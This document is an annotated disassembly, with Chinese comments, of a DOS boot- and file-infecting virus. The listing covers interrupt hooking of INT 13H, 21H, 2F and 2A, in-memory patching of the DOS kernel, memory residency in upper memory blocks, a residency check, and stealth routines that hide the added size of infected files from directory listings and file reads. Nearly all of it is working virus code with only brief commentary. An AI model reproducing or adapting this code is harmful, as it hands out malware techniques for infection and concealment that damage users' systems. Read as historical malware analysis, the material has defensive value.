F6C8:0347 A33C04　　　　MOV　　 [043C],AX
F6C8:034A 1F　　　　　　POP　　 DS
F6C8:034B 58　　　　　　POP　　 AX
F6C8:034C EAB1022805　　JMP　　 0528:02B1
;==========================================================================
; 文件驻留引入 INT 2A 代码部分
; 初始化时使用
;==========================================================================
F6C8:0351 60　　　　　　PUSHA　
F6C8:0352 1E　　　　　　PUSH　　DS
F6C8:0353 06　　　　　　PUSH　　ES
F6C8:0354 2E　　　　　　CS:
F6C8:0355 C606FF00EB　　MOV　　 BYTE PTR [00FF],EB ;INT 13H
F6C8:035A 2E　　　　　　CS: ;不检测
F6C8:035B C60658053D　　MOV　　 BYTE PTR [0558],3D ;INT 21H 不检测
F6C8:0360 B80016　　　　MOV　　 AX,1600 ;WINDOWS 增强模式检验
F6C8:0363 CD2F　　　　　INT　　 2F
F6C8:0365 0AC0　　　　　OR　　　AL,AL
F6C8:0367 7505　　　　　JNZ　　 036E ;WINDOWS 运行转 036E
F6C8:0369 E881FE　　　　CALL　　01ED ;随机生成 INT 13H 地址
F6C8:036C EB03　　　　　JMP　　 0371
F6C8:036E E8B9FE　　　　CALL　　022A ;随机生成 INT 13H 地址
F6C8:0371 B80013　　　　MOV　　 AX,1300 ;取得原 INT 13H 地址
F6C8:0374 8BD3　　　　　MOV　　 DX,BX ;并设置新 INT 13H 地址
F6C8:0376 06　　　　　　PUSH　　ES
F6C8:0377 1F　　　　　　POP　　 DS ;INT 2F 之 1300 功能
F6C8:0378 CD2F　　　　　INT　　 2F ;入口　ES:BX 及 DS:DX
F6C8:037A 2E　　　　　　CS: ;为新 INT 13H 地址
F6C8:037B 8916F800　　　MOV　　 [00F8],DX ;出口　ES:BX 及 DS:DX
F6C8:037F 2E　　　　　　CS: ;为旧 INT 13H 地址
F6C8:0380 8C1EFA00　　　MOV　　 [00FA],DS
F6C8:0384 EB03　　　　　JMP　　 0389 ;转截取 INT 21H (0389)
;==========================================================================
;BOOT 引导驻留引入 INT 2A 入口
F6C8:0386 60　　　　　　PUSHA　
F6C8:0387 1E　　　　　　PUSH　　DS
F6C8:0388 06　　　　　　PUSH　　ES
;==========================================================================
;截取 INT 21H 代码部分
F6C8:0389 B80312　　　　MOV　　 AX,1203 ;取 MSDOS.SYS 数据段地址
F6C8:038C CD2F　　　　　INT　　 2F ;返回段地址 = DS
F6C8:038E 8CD8　　　　　MOV　　 AX,DS
F6C8:0390 8CD6　　　　　MOV　　 SI,SS
F6C8:0392 2BF0　　　　　SUB　　 SI,AX
F6C8:0394 7403　　　　　JZ　　　0399 ;在 MSDOS.SYS 中执行
F6C8:0396 E99D00　　　　JMP　　 0436 ;转 0399, 否则退出
F6C8:0399 0E　　　　　　PUSH　　CS
F6C8:039A 1F　　　　　　POP　　 DS
F6C8:039B A33101　　　　MOV　　 [0131],AX
F6C8:039E C606C00DEB　　MOV　　 BYTE PTR [0DC0],EB
F6C8:03A3 C6060401EB　　MOV　　 BYTE PTR [0104],EB
F6C8:03A8 C4063A04　　　LES　　 AX,[043A]
F6C8:03AC 8EDE　　　　　MOV　　 DS,SI
F6C8:03AE A3A800　　　　MOV　　 [00A8],AX
F6C8:03B1 8C06AA00　　　MOV　　 [00AA],ES ;恢复原 INT 2A 中断向量
F6C8:03B5 8BEC　　　　　MOV　　 BP,SP
F6C8:03B7 8E5E16　　　　MOV　　 DS,[BP+16] ;调用代码段
F6C8:03BA 83FE80　　　　CMP　　 SI,-80 ;为 INT 21 的代码段
F6C8:03BD 7777　　　　　JA　　　0436
F6C8:03BF AC　　　　　　LODSB　
F6C8:03C0 3C2E　　　　　CMP　　 AL,2E ;找 2E 8B 9F xx xx
F6C8:03C2 75F6　　　　　JNZ　　 03BA ;即 MOV BX,CS:[BX+xxxx]
F6C8:03C4 AD　　　　　　LODSW　
F6C8:03C5 3D8B9F　　　　CMP　　 AX,9F8B
F6C8:03C8 75F0　　　　　JNZ　　 03BA
F6C8:03CA AD　　　　　　LODSW　 ;此地址为 INT 21 功能=>子程序
F6C8:03CB 2E　　　　　　CS: ;转换表基址
F6C8:03CC A35111　　　　MOV　　 [1151],AX ;保存地址于 1151
F6C8:03CF B93000　　　　MOV　　 CX,0030
F6C8:03D2 4E　　　　　　DEC　　 SI
F6C8:03D3 AD　　　　　　LODSW　
F6C8:03D4 3D871E　　　　CMP　　 AX,1E87 ;找 87 1E (XCHG BX,SS:[xxxx])
F6C8:03D7 E0F9　　　　　LOOPNE　03D2
F6C8:03D9 E3DF　　　　　JCXZ　　03BA
F6C8:03DB AD　　　　　　LODSW　
F6C8:03DC 2E　　　　　　CS:
F6C8:03DD A35311　　　　MOV　　 [1153],AX ;调用 INT 21 子功能地址
F6C8:03E0 46　　　　　　INC　　 SI ;找 36 FF 16 xx xx
F6C8:03E1 813C36FF　　　CMP　　 WORD PTR [SI],FF36
F6C8:03E5 E0F9　　　　　LOOPNE　03E0 ;即 CALL SS:[xxxx]
F6C8:03E7 E3D1　　　　　JCXZ　　03BA
F6C8:03E9 807C0216　　　CMP　　 BYTE PTR [SI+02],16
F6C8:03ED 75F1　　　　　JNZ　　 03E0
F6C8:03EF 394403　　　　CMP　　 [SI+03],AX ;将 CALL SS:[xxxx]
F6C8:03F2 75EC　　　　　JNZ　　 03E0 ;改为 CALL CS:053D
F6C8:03F4 C6049A　　　　MOV　　 BYTE PTR [SI],9A ;截取新 INT 21
F6C8:03F7 C744013D05　　MOV　　 WORD PTR [SI+01],053D ;到 CS:053D
F6C8:03FC 8C4C03　　　　MOV　　 [SI+03],CS
F6C8:03FF 2E　　　　　　CS:
F6C8:0400 89365B11　　　MOV　　 [115B],SI
F6C8:0404 83FE80　　　　CMP　　 SI,-80
F6C8:0407 772D　　　　　JA　　　0436
F6C8:0409 4E　　　　　　DEC　　 SI
F6C8:040A AD　　　　　　LODSW　
F6C8:040B 3DFB80　　　　CMP　　 AX,80FB ;找 FB 80 FC 11 75 0A C0 74
F6C8:040E 75F4　　　　　JNZ　　 0404 ;即 CMP AH,11/JNZ XXXX
F6C8:0410 813CFC11　　　CMP　　 WORD PTR [SI],11FC ;OR AL,AL/JZ　XXXX
F6C8:0414 75EE　　　　　JNZ　　 0404 ;此代码为 INT 2F
F6C8:0416 817C02750A　　CMP　　 WORD PTR [SI+02],0A75 ;中断的开始代码
F6C8:041B 75E7　　　　　JNZ　　 0404
F6C8:041D 817C05C074　　CMP　　 WORD PTR [SI+05],74C0
F6C8:0422 75E0　　　　　JNZ　　 0404
F6C8:0424 4E　　　　　　DEC　　 SI
F6C8:0425 C6049A　　　　MOV　　 BYTE PTR [SI],9A ;截取新 INT 2F
F6C8:0428 C744013E04　　MOV　　 WORD PTR [SI+01],043E ;到 CS:043E
F6C8:042D 8C4C03　　　　MOV　　 [SI+03],CS ;改为 CALL CS:043E
F6C8:0430 4E　　　　　　DEC　　 SI
F6C8:0431 2E　　　　　　CS:
F6C8:0432 89365D11　　　MOV　　 [115D],SI
F6C8:0436 07　　　　　　POP　　 ES
F6C8:0437 1F　　　　　　POP　　 DS
F6C8:0438 61　　　　　　POPA　　
F6C8:0439 EADA101001　　JMP　　 0110:10DA ;转原 INT 2A
;=========================================================================
; 新 INT 2F 中断代码部分
;=========================================================================
F6C8:043E 2E　　　　　　CS:
F6C8:043F C606C00D3C　　MOV　　 BYTE PTR [0DC0],3C
F6C8:0444 50　　　　　　PUSH　　AX
F6C8:0445 55　　　　　　PUSH　　BP
F6C8:0446 8BEC　　　　　MOV　　 BP,SP
F6C8:0448 80FC11　　　　CMP　　 AH,11 ;模拟原 INT 2F 功能
F6C8:044B 7404　　　　　JZ　　　0451 ;CMP AH,11/JNZ xxxx
F6C8:044D 8346040A　　　ADD　　 WORD PTR [BP+04],+0A
F6C8:0451 8B460A　　　　MOV　　 AX,[BP+0A] ;取调用 INT 2F 之地址
F6C8:0454 8CCD　　　　　MOV　　 BP,CS ;如果是病毒自己调用
F6C8:0456 3BC5　　　　　CMP　　 AX,BP ;转原 INT 2F
F6C8:0458 5D　　　　　　POP　　 BP
F6C8:0459 58　　　　　　POP　　 AX
F6C8:045A 740C　　　　　JZ　　　0468 ;
F6C8:045C 3D1612　　　　CMP　　 AX,1216 ;非病毒自己调用
F6C8:045F 7507　　　　　JNZ　　 0468 ;则将 1216 功能
F6C8:0461 83C404　　　　ADD　　 SP,+04 ;屏蔽, 出错返回
F6C8:0464 F9　　　　　　STC　　
F6C8:0465 CA0200　　　　RETF　　0002
F6C8:0468 CB　　　　　　RETF　　
;==========================================================================
;BOOT 引入时执行 INT 21H 时先执行本子程序
;功能为在第一次执行可执行程序时申请内存块驻留
F6C8:0469 80FC4B　　　　CMP　　 AH,4B ;非执行程序退出
F6C8:046C 7401　　　　　JZ　　　046F
F6C8:046E C3　　　　　　RET　　
F6C8:046F 60　　　　　　PUSHA　
F6C8:0470 1E　　　　　　PUSH　　DS
F6C8:0471 06　　　　　　PUSH　　ES
F6C8:0472 0AC0　　　　　OR　　　AL,AL
F6C8:0474 7428　　　　　JZ　　　049E ;执行文件转 049E
F6C8:0476 8BF2　　　　　MOV　　 SI,DX ;装入设备驱动程序
F6C8:0478 AC　　　　　　LODSB　
F6C8:0479 0AC0　　　　　OR　　　AL,AL
F6C8:047B 75FB　　　　　JNZ　　 0478
F6C8:047D 817CF74D33　　CMP　　 WORD PTR [SI-09],334D
F6C8:0482 7517　　　　　JNZ　　 049B
F6C8:0484 817CF45145　　CMP　　 WORD PTR [SI-0C],4551
F6C8:0489 7510　　　　　JNZ　　 049B
F6C8:048B E89CFD　　　　CALL　　022A ;如果装入 QEMM386.SYS
F6C8:048E B80013　　　　MOV　　 AX,1300 ;再次设置新 INT 13H
F6C8:0491 8BD3　　　　　MOV　　 DX,BX
F6C8:0493 CD2F　　　　　INT　　 2F　　　(Multiplex)
F6C8:0495 2E　　　　　　CS:
F6C8:0496 C606FF00EB　　MOV　　 BYTE PTR [00FF],EB
F6C8:049B E99B00　　　　JMP　　 0539
F6C8:049E 2E　　　　　　CS: ;执行程序时
F6C8:049F C606FF00EB　　MOV　　 BYTE PTR [00FF],EB
F6C8:04A4 B452　　　　　MOV　　 AH,52 ;取表之表地址
F6C8:04A6 E85108　　　　CALL　　0CFA
F6C8:04A9 26　　　　　　ES:
F6C8:04AA 8B47FE　　　　MOV　　 AX,[BX-02] ;取第一块 MCB 地址
F6C8:04AD E8C7FB　　　　CALL　　0077 ;取最后一块 MCB 地址
F6C8:04B0 8EDB　　　　　MOV　　 DS,BX
F6C8:04B2 8BC3　　　　　MOV　　 AX,BX
F6C8:04B4 034503　　　　ADD　　 AX,[DI+03]
F6C8:04B7 80FCA0　　　　CMP　　 AH,A0
F6C8:04BA 760D　　　　　JBE　　 04C9 ;不在 UMB 中转 04C9
F6C8:04BC 33F6　　　　　XOR　　 SI,SI ;在 UMB 中则驻留内存
F6C8:04BE E8CDFB　　　　CALL　　008E
F6C8:04C1 B9B004　　　　MOV　　 CX,04B0
F6C8:04C4 F3　　　　　　REPZ
F6C8:04C5 2E　　　　　　CS:
F6C8:04C6 A4　　　　　　MOVSB　
F6C8:04C7 734B　　　　　JNB　　 0514
F6C8:04C9 B80058　　　　MOV　　 AX,5800 ;取内存分配策略
F6C8:04CC E82B08　　　　CALL　　0CFA
F6C8:04CF 50　　　　　　PUSH　　AX
F6C8:04D0 B80158　　　　MOV　　 AX,5801 ;设高到低寻找策略
F6C8:04D3 BB8000　　　　MOV　　 BX,0080
F6C8:04D6 50　　　　　　PUSH　　AX
F6C8:04D7 E82008　　　　CALL　　0CFA
F6C8:04DA B80258　　　　MOV　　 AX,5802 ;得到 UMB 链状态
F6C8:04DD E81A08　　　　CALL　　0CFA
F6C8:04E0 32E4　　　　　XOR　　 AH,AH
F6C8:04E2 50　　　　　　PUSH　　AX
F6C8:04E3 B80358　　　　MOV　　 AX,5803 ;设新的 UMB 状态
F6C8:04E6 B301　　　　　MOV　　 BL,01 ;为将 UMB 加入 DOS 内存链
F6C8:04E8 50　　　　　　PUSH　　AX
F6C8:04E9 E80E08　　　　CALL　　0CFA
F6C8:04EC B448　　　　　MOV　　 AH,48 ;分配内存
F6C8:04EE BB3801　　　　MOV　　 BX,0138
F6C8:04F1 E80608　　　　CALL　　0CFA
F6C8:04F4 95　　　　　　XCHG　　AX,BP
F6C8:04F5 58　　　　　　POP　　 AX
F6C8:04F6 5B　　　　　　POP　　 BX
F6C8:04F7 E80008　　　　CALL　　0CFA ;恢复分配内存策略
F6C8:04FA 58　　　　　　POP　　 AX ;及恢复 UMB 状态
F6C8:04FB 5B　　　　　　POP　　 BX
F6C8:04FC E8FB07　　　　CALL　　0CFA
F6C8:04FF 33FF　　　　　XOR　　 DI,DI
F6C8:0501 8EC5　　　　　MOV　　 ES,BP
F6C8:0503 4D　　　　　　DEC　　 BP
F6C8:0504 8EDD　　　　　MOV　　 DS,BP ;将内存块改为 DOS 使用
F6C8:0506 C745010800　　MOV　　 WORD PTR [DI+01],0008
F6C8:050B 33F6　　　　　XOR　　 SI,SI
F6C8:050D 0E　　　　　　PUSH　　CS
F6C8:050E 1F　　　　　　POP　　 DS
F6C8:050F B97713　　　　MOV　　 CX,1377
F6C8:0512 F3　　　　　　REPZ
F6C8:0513 A4　　　　　　MOVSB　 ;驻留内存
F6C8:0514 0E　　　　　　PUSH　　CS
F6C8:0515 1F　　　　　　POP　　 DS
F6C8:0516 8B3E4502　　　MOV　　 DI,[0245] ;将 INT 21 地址
F6C8:051A 8B365D11　　　MOV　　 SI,[115D] ;改到新的地址
F6C8:051E C51E5711　　　LDS　　 BX,[1157]
F6C8:0522 8C47FE　　　　MOV　　 [BX-02],ES
F6C8:0525 8C4404　　　　MOV　　 [SI+04],ES
F6C8:0528 8ED9　　　　　MOV　　 DS,CX
F6C8:052A 8C4502　　　　MOV　　 [DI+02],ES
F6C8:052D 26　　　　　　ES:
F6C8:052E C60604013C　　MOV　　 BYTE PTR [0104],3C
F6C8:0533 26　　　　　　ES:
F6C8:0534 C60658053D　　MOV　　 BYTE PTR [0558],3D
F6C8:0539 07　　　　　　POP　　 ES
F6C8:053A 1F　　　　　　POP　　 DS
F6C8:053B 61　　　　　　POPA　　
F6C8:053C C3　　　　　　RET　　
;=========================================================================
; 新 INT 21H 代码部分
;=========================================================================
F6C8:053D 2E　　　　　　CS:
F6C8:053E 8F065711　　　POP　　 WORD PTR [1157] ;保存返回地址
F6C8:0542 2E　　　　　　CS: ;于 1157 (IP) 和 1159 (CS)
F6C8:0543 8F065911　　　POP　　 WORD PTR [1159]
F6C8:0547 9C　　　　　　PUSHF　
F6C8:0548 55　　　　　　PUSH　　BP
F6C8:0549 8BEC　　　　　MOV　　 BP,SP
F6C8:054B 817E045344　　CMP　　 WORD PTR [BP+04],4453
F6C8:0550 5D　　　　　　POP　　 BP
F6C8:0551 7504　　　　　JNZ　　 0557 ;????
F6C8:0553 9D　　　　　　POPF　　
F6C8:0554 44　　　　　　INC　　 SP
F6C8:0555 44　　　　　　INC　　 SP
F6C8:0556 C3　　　　　　RET　　
F6C8:0557 9D　　　　　　POPF　　
F6C8:0558 3D0EFF　　　　CMP　　 AX,FF0E ====> ;BOOT 引入时
F6C8:055B 80FC11　　　　CMP　　 AH,11 ;本句代码为 CALL 0469
F6C8:055E 7235　　　　　JB　　　0595
F6C8:0560 80FC12　　　　CMP　　 AH,12 ;DOS 功能 11,12 (DIR 时使用)
F6C8:0563 7730　　　　　JA　　　0595 ;则更改文件长度
F6C8:0565 E82308　　　　CALL　　0D8B ;调用原 INT 21 功能
F6C8:0568 0AC0　　　　　OR　　　AL,AL ;成功转 057B
F6C8:056A 740F　　　　　JZ　　　057B
F6C8:056C 50　　　　　　PUSH　　AX
F6C8:056D B81812　　　　MOV　　 AX,1218 ;INT 2F 之 1218 功能
F6C8:0570 E84D08　　　　CALL　　0DC0 ;取 DOS 调用者寄存器
F6C8:0573 58　　　　　　POP　　 AX
F6C8:0574 8904　　　　　MOV　　 [SI],AX ;修改返回值
F6C8:0576 2E　　　　　　CS: ;返回调用处
F6C8:0577 FF2E5711　　　JMP　　 FAR DWORD PTR [1157]
F6C8:057B E86208　　　　CALL　　0DE0 ;
F6C8:057E 74EC　　　　　JZ　　　056C
F6C8:0580 50　　　　　　PUSH　　AX
F6C8:0581 B42F　　　　　MOV　　 AH,2F
F6C8:0583 E87407　　　　CALL　　0CFA
F6C8:0586 26　　　　　　ES:
F6C8:0587 803FFF　　　　CMP　　 BYTE PTR [BX],FF
F6C8:058A 7503　　　　　JNZ　　 058F
F6C8:058C 83C307　　　　ADD　　 BX,+07
F6C8:058F 43　　　　　　INC　　 BX
F6C8:0590 BE0200　　　　MOV　　 SI,0002
F6C8:0593 EB17　　　　　JMP　　 05AC
;==========================================================================
F6C8:0595 80FC4E　　　　CMP　　 AH,4E
F6C8:0598 7239　　　　　JB　　　05D3
F6C8:059A 80FC4F　　　　CMP　　 AH,4F
F6C8:059D 7734　　　　　JA　　　05D3
F6C8:059F E8E907　　　　CALL　　0D8B
F6C8:05A2 50　　　　　　PUSH　　AX
F6C8:05A3 722B　　　　　JB　　　05D0
F6C8:05A5 B42F　　　　　MOV　　 AH,2F
F6C8:05A7 E85007　　　　CALL　　0CFA
F6C8:05AA 33F6　　　　　XOR　　 SI,SI
F6C8:05AC E82808　　　　CALL　　0DD7
F6C8:05AF 741F　　　　　JZ　　　05D0
F6C8:05B1 06　　　　　　PUSH　　ES
F6C8:05B2 1F　　　　　　POP　　 DS
F6C8:05B3 807F19C8　　　CMP　　 BYTE PTR [BX+19],C8
F6C8:05B7 7217　　　　　JB　　　05D0
F6C8:05B9 806F19C8　　　SUB　　 BYTE PTR [BX+19],C8
F6C8:05BD C4401A　　　　LES　　 AX,[BX+SI+1A]
F6C8:05C0 8CC2　　　　　MOV　　 DX,ES
F6C8:05C2 2DC70E　　　　SUB　　 AX,0EC7
F6C8:05C5 83DA00　　　　SBB　　 DX,+00
F6C8:05C8 7206　　　　　JB　　　05D0
F6C8:05CA 89401A　　　　MOV　　 [BX+SI+1A],AX
F6C8:05CD 89501C　　　　MOV　　 [BX+SI+1C],DX
F6C8:05D0 58　　　　　　POP　　 AX
F6C8:05D1 EB99　　　　　JMP　　 056C
;=========================================================================
F6C8:05D3 3D0242　　　　CMP　　 AX,4202
F6C8:05D6 7526　　　　　JNZ　　 05FE
F6C8:05D8 E8FA06　　　　CALL　　0CD5
F6C8:05DB 7621　　　　　JBE　　 05FE
F6C8:05DD E8F707　　　　CALL　　0DD7
F6C8:05E0 741C　　　　　JZ　　　05FE
F6C8:05E2 816D11C70E　　SUB　　 WORD PTR [DI+11],0EC7
F6C8:05E7 835D1300　　　SBB　　 WORD PTR [DI+13],+00
F6C8:05EB 57　　　　　　PUSH　　DI
F6C8:05EC 1E　　　　　　PUSH　　DS
F6C8:05ED E89B07　　　　CALL　　0D8B
F6C8:05F0 1F　　　　　　POP　　 DS
F6C8:05F1 5F　　　　　　POP　　 DI
F6C8:05F2 814511C70E　　ADD　　 WORD PTR [DI+11],0EC7
F6C8:05F7 83551300　　　ADC　　 WORD PTR [DI+13],+00
F6C8:05FB E96EFF　　　　JMP　　 056C
;==========================================================================
F6C8:05FE 80FC57　　　　CMP　　 AH,57
F6C8:0601 7520　　　　　JNZ　　 0623
F6C8:0603 E8CF06　　　　CALL　　0CD5
F6C8:0606 761B　　　　　JBE　　 0623
F6C8:0608 E8CC07　　　　CALL　　0DD7
F6C8:060B 7416　　　　　JZ　　　0623
F6C8:060D 57　　　　　　PUSH　　DI
F6C8:060E 1E　　　　　　PUSH　　DS
F6C8:060F 0AC0　　　　　OR　　　AL,AL
F6C8:0611 7504　　　　　JNZ　　 0617
F6C8:0613 806D10C8　　　SUB　　 BYTE PTR [DI+10],C8
F6C8:0617 E87107　　　　CALL　　0D8B
F6C8:061A 1F　　　　　　POP　　 DS
F6C8:061B 5F　　　　　　POP　　 DI
F6C8:061C 804510C8　　　ADD　　 BYTE PTR [DI+10],C8
F6C8:0620 E949FF　　　　JMP　　 056C
;===========================================================================
F6C8:0623 80FC3F　　　　CMP　　 AH,3F
F6C8:0626 7403　　　　　JZ　　　062B
F6C8:0628 E94901　　　　JMP　　 0774
F6C8:062B E8A907　　　　CALL　　0DD7 ;新 INT 21 之 3F 功能
F6C8:062E 74F8　　　　　JZ　　　0628 ;执行压缩文件跳过
F6C8:0630 1E　　　　　　PUSH　　DS
F6C8:0631 E8A106　　　　CALL　　0CD5 ;取文件句柄表地址
F6C8:0634 1F　　　　　　POP　　 DS
F6C8:0635 76F1　　　　　JBE　　 0628
F6C8:0637 2E　　　　　　CS:
F6C8:0638 8C1E6B0C　　　MOV　　 [0C6B],DS
F6C8:063C 0E　　　　　　PUSH　　CS
F6C8:063D 1F　　　　　　POP　　 DS
F6C8:063E 890E650C　　　MOV　　 [0C65],CX
F6C8:0642 8916680C　　　MOV　　 [0C68],DX
F6C8:0646 83266F0700　　AND　　 WORD PTR [076F],0000
F6C8:064B 06　　　　　　PUSH　　ES
F6C8:064C 1F　　　　　　POP　　 DS
F6C8:064D E85A06　　　　CALL　　0CAA ;测试当前文件指针
F6C8:0650 2D4000　　　　SUB　　 AX,0040
F6C8:0653 83DA00　　　　SBB　　 DX,+00
F6C8:0656 7320　　　　　JNB　　 0678 ;非文件头 40H 字节转 0678
F6C8:0658 034511　　　　ADD　　 AX,[DI+11]
F6C8:065B 135513　　　　ADC　　 DX,[DI+13]
F6C8:065E 874515　　　　XCHG　　AX,[DI+15]
F6C8:0661 875517　　　　XCHG　　DX,[DI+17]
F6C8:0664 8BCA　　　　　MOV　　 CX,DX
F6C8:0666 92　　　　　　XCHG　　AX,DX
F6C8:0667 E8F205　　　　CALL　　0C5C
F6C8:066A 7303　　　　　JNB　　 066F
F6C8:066C E9FD00　　　　JMP　　 076C
F6C8:066F 9C　　　　　　PUSHF　
F6C8:0670 03D0　　　　　ADD　　 DX,AX
F6C8:0672 E83F06　　　　CALL　　0CB4
F6C8:0675 9D　　　　　　POPF　　
F6C8:0676 74F4　　　　　JZ　　　066C
F6C8:0678 06　　　　　　PUSH　　ES
F6C8:0679 E82E06　　　　CALL　　0CAA
F6C8:067C 50　　　　　　PUSH　　AX
F6C8:067D 52　　　　　　PUSH　　DX
F6C8:067E E83F06　　　　CALL　　0CC0
F6C8:0681 E86A05　　　　CALL　　0BEE
F6C8:0684 59　　　　　　POP　　 CX
F6C8:0685 5A　　　　　　POP　　 DX
F6C8:0686 9C　　　　　　PUSHF　
F6C8:0687 E82A06　　　　CALL　　0CB4
F6C8:068A 9D　　　　　　POPF　　
F6C8:068B C406030F　　　LES　　 AX,[0F03]
F6C8:068F 8CC1　　　　　MOV　　 CX,ES
F6C8:0691 1F　　　　　　POP　　 DS
F6C8:0692 7303　　　　　JNB　　 0697
F6C8:0694 E9BE00　　　　JMP　　 0755
F6C8:0697 874511　　　　XCHG　　AX,[DI+11]
F6C8:069A 50　　　　　　PUSH　　AX
F6C8:069B 874D13　　　　XCHG　　CX,[DI+13]
F6C8:069E 51　　　　　　PUSH　　CX
F6C8:069F E8BA05　　　　CALL　　0C5C
F6C8:06A2 8F4513　　　　POP　　 WORD PTR [DI+13]
F6C8:06A5 8F4511　　　　POP　　 WORD PTR [DI+11]
F6C8:06A8 7703　　　　　JA　　　06AD
F6C8:06AA E9BF00　　　　JMP　　 076C
F6C8:06AD E8FA05　　　　CALL　　0CAA
F6C8:06B0 0E　　　　　　PUSH　　CS
F6C8:06B1 1F　　　　　　POP　　 DS
F6C8:06B2 2B06030F　　　SUB　　 AX,[0F03]
F6C8:06B6 1B16050F　　　SBB　　 DX,[0F05]
F6C8:06BA 753F　　　　　JNZ　　 06FB
F6C8:06BC 3D4800　　　　CMP　　 AX,0048
F6C8:06BF 733A　　　　　JNB　　 06FB
F6C8:06C1 05070F　　　　ADD　　 AX,0F07
F6C8:06C4 96　　　　　　XCHG　　AX,SI
F6C8:06C5 33C0　　　　　XOR　　 AX,AX
F6C8:06C7 8B3E680C　　　MOV　　 DI,[0C68]
F6C8:06CB 8E066B0C　　　MOV　　 ES,[0C6B]
F6C8:06CF 8B0E650C　　　MOV　　 CX,[0C65]
F6C8:06D3 E312　　　　　JCXZ　　06E7
F6C8:06D5 81FE4F0F　　　CMP　　 SI,0F4F
F6C8:06D9 730C　　　　　JNB　　 06E7
F6C8:06DB A4　　　　　　MOVSB　
F6C8:06DC FF066F07　　　INC　　 WORD PTR [076F]
F6C8:06E0 FF06680C　　　INC　　 WORD PTR [0C68]
F6C8:06E4 40　　　　　　INC　　 AX
F6C8:06E5 E2EE　　　　　LOOP　　06D5
F6C8:06E7 890E650C　　　MOV　　 [0C65],CX
F6C8:06EB E8E705　　　　CALL　　0CD5
F6C8:06EE 014515　　　　ADD　　 [DI+15],AX
F6C8:06F1 83551700　　　ADC　　 WORD PTR [DI+17],+00
F6C8:06F5 0BC9　　　　　OR　　　CX,CX
F6C8:06F7 7502　　　　　JNZ　　 06FB
F6C8:06F9 EB71　　　　　JMP　　 076C
F6C8:06FB 0E　　　　　　PUSH　　CS
F6C8:06FC 1F　　　　　　POP　　 DS
F6C8:06FD A12B0F　　　　MOV　　 AX,[0F2B]
F6C8:0700 33D2　　　　　XOR　　 DX,DX
F6C8:0702 050100　　　　ADD　　 AX,0001
F6C8:0705 13D2　　　　　ADC　　 DX,DX
F6C8:0707 BE0800　　　　MOV　　 SI,0008
F6C8:070A F7E6　　　　　MUL　　 SI
F6C8:070C 0306310F　　　ADD　　 AX,[0F31]
F6C8:0710 83D200　　　　ADC　　 DX,+00
F6C8:0713 0306030F　　　ADD　　 AX,[0F03]
F6C8:0717 1316050F　　　ADC　　 DX,[0F05]
F6C8:071B E8B705　　　　CALL　　0CD5
F6C8:071E 3B5517　　　　CMP　　 DX,[DI+17]
F6C8:0721 7232　　　　　JB　　　0755
F6C8:0723 7705　　　　　JA　　　072A
F6C8:0725 3B4515　　　　CMP　　 AX,[DI+15]
F6C8:0728 762B　　　　　JBE　　 0755
F6C8:072A 2D0800　　　　SUB　　 AX,0008
F6C8:072D 83DA00　　　　SBB　　 DX,+00
F6C8:0730 874511　　　　XCHG　　AX,[DI+11]
F6C8:0733 50　　　　　　PUSH　　AX
F6C8:0734 875513　　　　XCHG　　DX,[DI+13]
F6C8:0737 52　　　　　　PUSH　　DX
F6C8:0738 836D1508　　　SUB　　 WORD PTR [DI+15],+08
F6C8:073C 835D1700　　　SBB　　 WORD PTR [DI+17],+00
F6C8:0740 E81905　　　　CALL　　0C5C
F6C8:0743 9C　　　　　　PUSHF　
F6C8:0744 83451508　　　ADD　　 WORD PTR [DI+15],+08
F6C8:0748 83551500　　　ADC　　 WORD PTR [DI+15],+00
F6C8:074C 9D　　　　　　POPF　　
F6C8:074D 8F4513　　　　POP　　 WORD PTR [DI+13]
F6C8:0750 8F4511　　　　POP　　 WORD PTR [DI+11]
F6C8:0753 7617　　　　　JBE　　 076C
F6C8:0755 816D11C70E　　SUB　　 WORD PTR [DI+11],0EC7
F6C8:075A 835D1300　　　SBB　　 WORD PTR [DI+13],+00
F6C8:075E E8FB04　　　　CALL　　0C5C
F6C8:0761 9C　　　　　　PUSHF　
F6C8:0762 814511C70E　　ADD　　 WORD PTR [DI+11],0EC7
F6C8:0767 83551300　　　ADC　　 WORD PTR [DI+13],+00
F6C8:076B 9D　　　　　　POPF　　
F6C8:076C 7203　　　　　JB　　　0771
F6C8:076E B875D5　　　　MOV　　 AX,D575
F6C8:0771 E9F8FD　　　　JMP　　 056C
;===========================================================================
F6C8:0774 60　　　　　　PUSHA　 ;病毒驻留检验
F6C8:0775 1E　　　　　　PUSH　　DS ;以 AX = 187F
F6C8:0776 06　　　　　　PUSH　　ES ;　 BX = 4453 调用
F6C8:0777 3D7F18　　　　CMP　　 AX,187F ;返回 AX = 434E
F6C8:077A 7514　　　　　JNZ　　 0790
F6C8:077C 81FB5344　　　CMP　　 BX,4453
F6C8:0780 750E　　　　　JNZ　　 0790
F6C8:0782 B81812　　　　MOV　　 AX,1218 ;取返回寄存器地址
F6C8:0785 E83806　　　　CALL　　0DC0 ;修改返回 AX 值
F6C8:0788 8144024E43　　ADD　　 WORD PTR [SI+02],434E
F6C8:078D E9C201　　　　JMP　　 0952
;===========================================================================
F6C8:0790 80FC40　　　　CMP　　 AH,40
F6C8:0793 7403　　　　　JZ　　　0798
F6C8:0795 E9F100　　　　JMP　　 0889
F6C8:0798 E83A05　　　　CALL　　0CD5
F6C8:079B 76F8　　　　　JBE　　 0795
F6C8:079D E81604　　　　CALL　　0BB6
F6C8:07A0 FF7505　　　　PUSH　　WORD PTR [DI+05]
F6C8:07A3 C54515　　　　LDS　　 AX,[DI+15]
F6C8:07A6 50　　　　　　PUSH　　AX
F6C8:07A7 1E　　　　　　PUSH　　DS
F6C8:07A8 E81505　　　　CALL　　0CC0
F6C8:07AB 7303　　　　　JNB　　 07B0
F6C8:07AD E9C800　　　　JMP　　 0878
F6C8:07B0 E83B04　　　　CALL　　0BEE
F6C8:07B3 9C　　　　　　PUSHF　
F6C8:07B4 8306030F08　　ADD　　 WORD PTR [0F03],+08
F6C8:07B9 8316050F00　　ADC　　 WORD PTR [0F05],+00
F6C8:07BE 9D　　　　　　POPF　　
F6C8:07BF 7303　　　　　JNB　　 07C4
F6C8:07C1 E99900　　　　JMP　　 085D
F6C8:07C4 8B441C　　　　MOV　　 AX,[SI+1C]
F6C8:07C7 33D2　　　　　XOR　　 DX,DX
F6C8:07C9 B90800　　　　MOV　　 CX,0008
F6C8:07CC F7E1　　　　　MUL　　 CX
F6C8:07CE 034422　　　　ADD　　 AX,[SI+22]
F6C8:07D1 83D200　　　　ADC　　 DX,+00
F6C8:07D4 50　　　　　　PUSH　　AX
